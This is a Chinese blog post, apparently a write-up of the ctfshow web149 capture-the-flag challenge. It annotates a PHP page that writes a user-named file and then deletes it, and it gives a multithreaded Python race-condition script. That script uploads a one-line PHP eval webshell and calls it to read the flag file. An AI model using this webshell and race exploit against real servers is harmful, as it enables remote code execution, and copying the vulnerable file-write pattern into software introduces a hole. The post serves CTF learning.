当前位置:首页 » 《随便一记》 » 正文

ctfshow_web149_IMNU_S1mple的博客

11 人参与  2022年02月22日 17:57  分类 : 《随便一记》  评论

点击全文阅读


打开容器

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 

逐行分析

error_reporting(0);//关闭错误报告
highlight_file();//对文件进行语法高亮显示。
__FILE__// 取得当前文件的绝对地址
$files = scandir('./'); //将当前目录的文件和目录。以数组形式赋值给files
foreach($files as $file) {//遍历files数组,以引用赋值将files中的每个对象赋值给file
    if(is_file($file)){//如果file文件存在且为正常的文件,则返回 true。
        if ($file !== "index.php") { //如果file不是index.php的话
            unlink($file);//就会删除这个文件
        }
    }
}
file_put_contents(str,file);//把一个字符串写入文件中

下面的代码和上面的类似,那么代码看到这里得出一个基本的思路

删除除了index.php以外的文件--->写入webshell文件--->删除除了index.php以外的文件

那么我们可以写一个python多线程脚本去条件竞争

使得在写入webshell后,服务器还没来得及删除,我们用webshell来得到flag

那么思路有了,就是写脚本了

import threading
import requests
import time

flag = 1

def write():
    while 1:
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
        fromdata={"show":"<?php eval($_GET['S']);?>"}
        response = requests.post(url=url,data=fromdata)
        print(response.status_code)

def read():
    global flag
    while 1:
        #cmd = "system('ls /')"
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
        response = requests.get(url=url)
        if response.status_code == 200:
            print(response.text)
            flag = 0;
            break;





# threads = []

# t1 = threading.Thread(target=write)
# t2 = threading.Thread(target=read)
# threads.append(t1)
# threads.append(t2)

if __name__ == '__main__':
    for i in range(10):
        t1 = threading.Thread(target=write)
        t1.setDaemon(True)
        t1.start()
    for i in range(10):
        t2 = threading.Thread(target=read)
        t2.setDaemon(True)
        t2.start()
    # for t in threads:
    #     t.join()

while flag:
    time.sleep(0.01)

菜鸡脚本,不要介意


点击全文阅读


本文链接:http://zhangshiyu.com/post/35198.html

文件  赋值  写入  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1